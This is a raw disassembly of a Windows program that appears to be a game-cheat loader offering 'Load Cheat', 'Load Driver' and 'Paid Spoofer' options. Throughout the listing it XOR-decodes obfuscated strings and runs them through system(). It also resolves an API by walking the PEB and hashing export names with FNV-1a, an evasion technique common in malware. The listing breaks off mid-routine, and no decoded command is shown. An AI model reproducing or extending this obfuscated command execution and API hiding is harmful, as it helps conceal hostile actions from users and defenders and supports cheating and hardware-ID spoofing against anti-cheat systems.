movdqu xmmword [rbp + 0x9d], xmm0
mov dword [rbp + 0xad], 0xdfd2ec88
mov dword [rbp + 0xb1], 0xcec0dfc9
mov word [rbp + 0xb5], 0xdc
mov byte [rbp + 0xb7], 1
mov rcx, r13
nop word [rax + rax]
lea eax, [rcx - 0x68]
xor byte [rbp + rcx + 0x9d], al
inc rcx
cmp rcx, 0x19
jb 0x14004f490
mov byte [rbp + 0xb7], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14004f536
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14004f536
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14004f531
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14004f510
cmp r8d, 0x9a9264ad
je 0x14004f53b
test r9d, r9d
jne 0x14004f4f0
mov rax, qword [rax]
jmp 0x14004f4c0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x9d]
call rdx
lea rcx, [0x1400abfd0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.e_35m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
lea rdx, str._n_________________________________________________________________________________________________________n_________________________________________________________________________________________________n__________________________________________________________________________________________________n_______________________________________________________________________________________n_______________________________________________________________________________________n____________________________________________________________________________________________n____________________________________________________________________________________________n_____________________________________________________________________________________________n______________________________________________________________________________________________n__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
lea rdx, str.e_35m__e_37m1e_35m_e_37m_e_1mLoad_Cheat:_ne_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
lea rdx, str.e_35m_e_37m2e_35m_e_37m_e_1mLoad_Driver:_ne_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
lea rdx, str.e_35m_e_37m3e_35m_e_37m_e_1mDriver_Fix:_ne_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
lea rdx, str.e_35m_e_37m4e_35m_e_37m_e_1mPaid_Spoofer:_ne_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
lea rdx, str.e_35m_e_37m5e_35m_e_37m_e_1mLoad_Both:_ne_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
movdqa xmm0, xmmword [0x1400ad090]
movdqu xmmword [rbp + 0xd1], xmm0
mov dword [rbp + 0xe1], 0xc4c3ddd8
mov dword [rbp + 0xe5], 0x8e97c2
mov byte [rbp + 0xe9], 1
mov rcx, r13
nop dword [rax + rax]
lea eax, [rcx - 0x68]
xor byte [rbp + rcx + 0xd1], al
inc rcx
cmp rcx, 0x17
jb 0x14004f620
mov byte [rbp + 0xe9], 0
lea rcx, [rbp + 0xd1]
call fcn.140054c80
lea rdx, [rbp + 0x1678]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov ecx, dword [rbp + 0x1678]
sub ecx, 1
je 0x140053dad
sub ecx, 1
je 0x140052420
sub ecx, 1
je 0x14004f73e
sub ecx, 1
jne 0x140053125
lea rcx, [0x1400abfd0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
xorps xmm0, xmm0
movups xmmword [rbp + 0x410], xmm0
mov qword [rbp + 0x420], r13
mov qword [rbp + 0x428], reloc.WS2_32.dll_ntohs
mov edx, 0x40
lea rcx, [rbp + 0x410]
call fcn.14000a6b0
mov rdx, rax
mov qword [rbp + 0x410], rax
mov qword [rbp + 0x420], Ordinal_50
mov qword [rbp + 0x428], 0x3f
movups xmm0, xmmword [str._Buy_the_woofer_from_FZSoftware_make_a_ticket__n_n_n]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400ac9d8]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x1400ac9e8]
movups xmmword [rax + 0x20], xmm0
movzx eax, byte [reloc.WS2_32.dll_ioctlsocket]
mov byte [rdx + 0x30], al
mov byte [rdx + 0x31], 0
mov dword [rbp + 0x430], reloc.WLDAP32.dll_Ordinal_35
lea rdx, [rbp + 0x410]
mov rcx, rbx
call fcn.1400488b0
nop
lea rcx, [rbp + 0x410]
call fcn.140009970
jmp 0x14004f450
lea rcx, [0x1400abfd0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.Color_05
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x1400ab848]
mov dword [rbp - 0x51], eax
cmp byte [0x1400ab84b], 0
je 0x14004f843
cmp r12d, 2
jl 0x14004f800
movdqa xmm3, xmmword [0x1400aada0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400ad050]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400ad050]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r14d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [str.9999]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400acfb0]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp - 0x51], xmm2
jmp 0x14004f843
lea r9, [rbp - 0x51]
mov r8d, r13d
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14004f810
lea rcx, [rbp - 0x51]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str._n_________________________________________________________________________________________________________n_________________________________________________________________________________________________n__________________________________________________________________________________________________n_______________________________________________________________________________________n_______________________________________________________________________________________n____________________________________________________________________________________________n____________________________________________________________________________________________n_____________________________________________________________________________________________n______________________________________________________________________________________________n__n_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
lea rdx, str.e_35m__e_37m1e_35m_e_37m_e_1mDriver_Fix:_ne_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
lea rdx, str.e_35m__e_37m2e_35m_e_37m_e_1mMenu:_ne_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140046650
mov r15, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__n_n_n____
lea rcx, [rbp + 0xe20]
call fcn.140047460
nop
mov r14, qword [rax]
mov rbx, qword [r14]
cmp rbx, r14
je 0x14004f929
mov r13d, 7
nop dword [rax]
nop word [rax + rax]
lea rdi, [rbx + 0x10]
mov esi, dword [rdi + 0x20]
cmp esi, 0xff
ja 0x14004f8e6
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, si
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov r8, qword [rdi + 0x10]
cmp qword [rdi + 0x18], 0x10
jb 0x14004f8f4
mov rdi, qword [rdi]
mov rdx, rdi
mov rcx, r15
call fcn.140047080
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r13w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
jne 0x14004f8c0
xor r13d, r13d
lea esi, [r13 + 0x1f]
lea rcx, [rbp + 0xe20]
call fcn.140047e90
lea rdx, [rbp + 0x1678]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov ecx, dword [rbp + 0x1678]
sub ecx, 1
je 0x14004f966
cmp ecx, 1
jne 0x140053dad
lea r14d, [rcx + 4]
jmp 0x14004f450
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
xorps xmm0, xmm0
movups xmmword [rbp + 0x710], xmm0
mov qword [rbp + 0x720], r13
mov qword [rbp + 0x728], r13
mov r8d, reloc.WS2_32.dll_setsockopt
lea rdx, str.___Loading_Drivers_n_n_n
lea rcx, [rbp + 0x710]
call fcn.1400468f0
mov dword [rbp + 0x730], reloc.WLDAP32.dll_Ordinal_35
lea rdx, [rbp + 0x710]
mov rcx, rbx
call fcn.1400488b0
nop
lea rcx, [rbp + 0x710]
call fcn.140009970
movups xmm0, xmmword [0x1400ab850]
movups xmmword [rbp + 0x10cc], xmm0
movups xmm1, xmmword [0x1400ab860]
movups xmmword [rbp + 0x10dc], xmm1
movups xmm0, xmmword [0x1400ab870]
movups xmmword [rbp + 0x10ec], xmm0
movups xmm1, xmmword [0x1400ab880]
movups xmmword [rbp + 0x10fc], xmm1
movups xmm0, xmmword [0x1400ab890]
movups xmmword [rbp + 0x110c], xmm0
movups xmm1, xmmword [0x1400ab8a0]
movups xmmword [rbp + 0x111c], xmm1
movups xmm0, xmmword [0x1400ab8b0]
movups xmmword [rbp + 0x112c], xmm0
movups xmm1, xmmword [0x1400ab8c0]
movups xmmword [rbp + 0x113c], xmm1
movups xmm0, xmmword [0x1400ab8d0]
movups xmmword [rbp + 0x114c], xmm0
movsd xmm0, qword [0x1400ab8e0]
movsd qword [rbp + 0x115c], xmm0
movzx eax, byte [0x1400ab8e8]
mov byte [rbp + 0x1164], al
mov r8d, r13d
mov r14d, 5
cmp r12d, 2
jl 0x14004fbc1
movdqa xmm5, xmmword [0x1400aada0]
movdqa xmm4, xmmword [0x1400ad050]
movd xmm6, r14d
movdqa xmm7, xmmword [str.9999]
movd xmm8, esi
movdqa xmm0, xmmword [0x1400acfb0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x10d0]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x14004fab0
cmp r8d, 0x99
jge 0x14004fc06
movsxd rax, r8d
lea r9, [rbp + 0x10cc]
add r9, rax
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x99
jl 0x14004fbd0
lea rcx, [rbp + 0x10cc]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400ab8f0]
movups xmmword [rbp + 0x935], xmm0
movups xmm0, xmmword [0x1400ab910]
movups xmm1, xmmword [0x1400ab900]
movups xmmword [rbp + 0x955], xmm0
movups xmmword [rbp + 0x945], xmm1
movups xmm0, xmmword [0x1400ab930]
movups xmm1, xmmword [0x1400ab920]
movups xmmword [rbp + 0x975], xmm0
movups xmmword [rbp + 0x965], xmm1
mov eax, dword [0x1400ab980]
movups xmm0, xmmword [0x1400ab950]
movups xmm1, xmmword [0x1400ab940]
mov dword [rbp + 0x9c5], eax
movups xmmword [rbp + 0x995], xmm0
movups xmmword [rbp + 0x985], xmm1
movzx eax, byte [0x1400ab984]
movups xmm0, xmmword [0x1400ab970]
movups xmm1, xmmword [0x1400ab960]
mov byte [rbp + 0x9c9], al
movups xmmword [rbp + 0x9b5], xmm0
movups xmmword [rbp + 0x9a5], xmm1
mov r8d, r13d
cmp r12d, 2
jl 0x14004fe03
movdqa xmm5, xmmword [0x1400aada0]
movdqa xmm4, xmmword [0x1400ad050]
movd xmm6, r14d
movdqa xmm7, xmmword [str.9999]
movd xmm8, esi
movdqa xmm0, xmmword [0x1400acfb0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x939]
mov edx, dword [rsp + 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x14004fcf2
cmp r8d, 0x95
jge 0x14004fe46
movsxd rax, r8d
lea r9, [rbp + 0x935]
add r9, rax
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x95
jl 0x14004fe10
lea rcx, [rbp + 0x935]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400ab990]
movups xmmword [rbp + 0x9ca], xmm0
movups xmm0, xmmword [0x1400ab9b0]
movups xmmword [rbp + 0x9ea], xmm0
movups xmm0, xmmword [0x1400ab9d0]
movups xmm1, xmmword [0x1400ab9a0]
movups xmmword [rbp + 0xa0a], xmm0
movups xmmword [rbp + 0x9da], xmm1
movups xmm0, xmmword [0x1400ab9f0]
movups xmm1, xmmword [0x1400ab9c0]
movups xmmword [rbp + 0xa2a], xmm0
movups xmmword [rbp + 0x9fa], xmm1
movups xmm0, xmmword [0x1400aba10]
movups xmm1, xmmword [0x1400ab9e0]
movups xmmword [rbp + 0xa4a], xmm0
movups xmmword [rbp + 0xa1a], xmm1
movzx eax, byte [0x1400aba28]
movsd xmm0, qword [0x1400aba20]
movups xmm1, xmmword [0x1400aba00]
mov byte [rbp + 0xa62], al
movsd qword [rbp + 0xa5a], xmm0
movups xmmword [rbp + 0xa3a], xmm1
mov r8d, r13d
cmp r12d, 2
jl 0x140050051
movdqa xmm5, xmmword [0x1400aada0]
movdqa xmm4, xmmword [0x1400ad050]
movd xmm6, r14d
movdqa xmm7, xmmword [str.9999]
movd xmm8, esi
movdqa xmm0, xmmword [0x1400acfb0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x9ce]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x14004ff40
cmp r8d, 0x99
jge 0x140050096
movsxd rax, r8d
lea r9, [rbp + 0x9ca]
add r9, rax
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x99
jl 0x140050060
lea rcx, [rbp + 0x9ca]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400aba30]
movups xmmword [rbp + 0xa63], xmm0
movups xmm0, xmmword [0x1400aba50]
movups xmmword [rbp + 0xa83], xmm0
movups xmm0, xmmword [0x1400aba70]
movups xmm1, xmmword [0x1400aba40]
movups xmmword [rbp + 0xaa3], xmm0
movups xmmword [rbp + 0xa73], xmm1
movups xmm0, xmmword [0x1400aba90]
movups xmm1, xmmword [0x1400aba60]
movups xmmword [rbp + 0xac3], xmm0
movups xmmword [rbp + 0xa93], xmm1
movups xmm0, xmmword [0x1400abab0]
movups xmm1, xmmword [0x1400aba80]
movups xmmword [rbp + 0xae3], xmm0
movups xmmword [rbp + 0xab3], xmm1
movzx eax, byte [0x1400abac8]
movsd xmm0, qword [0x1400abac0]
movups xmm1, xmmword [0x1400abaa0]
mov byte [rbp + 0xafb], al
movsd qword [rbp + 0xaf3], xmm0
movups xmmword [rbp + 0xad3], xmm1
mov r8d, r13d
cmp r12d, 2
jl 0x1400502a1
movdqa xmm5, xmmword [0x1400aada0]
movdqa xmm4, xmmword [0x1400ad050]
movd xmm6, r14d
movdqa xmm7, xmmword [str.9999]
movd xmm8, esi
movdqa xmm0, xmmword [0x1400acfb0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0xa67]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140050190
cmp r8d, 0x99
jge 0x1400502e6
movsxd rax, r8d
lea r9, [rbp + 0xa63]
add r9, rax
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x99
jl 0x1400502b0
lea rcx, [rbp + 0xa63]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400abad0]
movups xmmword [rbp + 0xafc], xmm0
movups xmm0, xmmword [0x1400abaf0]
movups xmmword [rbp + 0xb1c], xmm0
movups xmm0, xmmword [0x1400abb10]
movups xmm1, xmmword [0x1400abae0]
movups xmmword [rbp + 0xb3c], xmm0
movups xmmword [rbp + 0xb0c], xmm1
movups xmm0, xmmword [0x1400abb30]
movups xmm1, xmmword [0x1400abb00]
movups xmmword [rbp + 0xb5c], xmm0
movups xmmword [rbp + 0xb2c], xmm1
movups xmm0, xmmword [str.U___23_7]
movups xmm1, xmmword [0x1400abb20]
movups xmmword [rbp + 0xb7c], xmm0
movups xmmword [rbp + 0xb4c], xmm1
movzx eax, byte [0x1400abb68]
movsd xmm0, qword [0x1400abb60]
movups xmm1, xmmword [0x1400abb40]
mov byte [rbp + 0xb94], al
movsd qword [rbp + 0xb8c], xmm0
movups xmmword [rbp + 0xb6c], xmm1
mov r8d, r13d
cmp r12d, 2
jl 0x1400504f1
movdqa xmm5, xmmword [0x1400aada0]
movdqa xmm4, xmmword [0x1400ad050]
movd xmm6, r14d
movdqa xmm7, xmmword [str.9999]
movd xmm8, esi
movdqa xmm0, xmmword [0x1400acfb0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0xb00]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400acf90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x1400503e0
cmp r8d, 0x99
jge 0x140050536
movsxd rax, r8d
lea r9, [rbp + 0xafc]
add r9, rax
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x99
jl 0x140050500
lea rcx, [rbp + 0xafc]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400abb70]
movups xmmword [rbp + 0xb95], xmm0
movups xmm0, xmmword [0x1400abb90]
movups xmm1, xmmword [0x1400abb80]
movups xmmword [rbp + 0xbb5], xmm0
movups xmmword [rbp + 0xba5], xmm1
movups xmm0, xmmword [0x1400abbb0]
movups xmm1, xmmword [0x1400abba0]
movups xmmword [rbp + 0xbd5], xmm0
movups xmmword [rbp + 0xbc5], xmm1
mov eax, dword [0x1400abc00]
movups xmm0, xmmword [0x1400abbd0]
movups xmm1, xmmword [0x1400abbc0]
mov dword [rbp + 0xc25], eax
movups xmmword [rbp + 0xbf5], xmm0
movups xmmword [rbp + 0xbe5], xmm1
movzx eax, word [0x1400abc04]
movups xmm0, xmmword [0x1400abbf0]
movups xmm1, xmmword [0x1400abbe0]
mov word [rbp + 0xc29], ax
movups xmmword [rbp + 0xc15], xmm0
movups xmmword [rbp + 0xc05], xmm1
mov r8d, r13d
cmp r12d, 2
jl 0x140050741
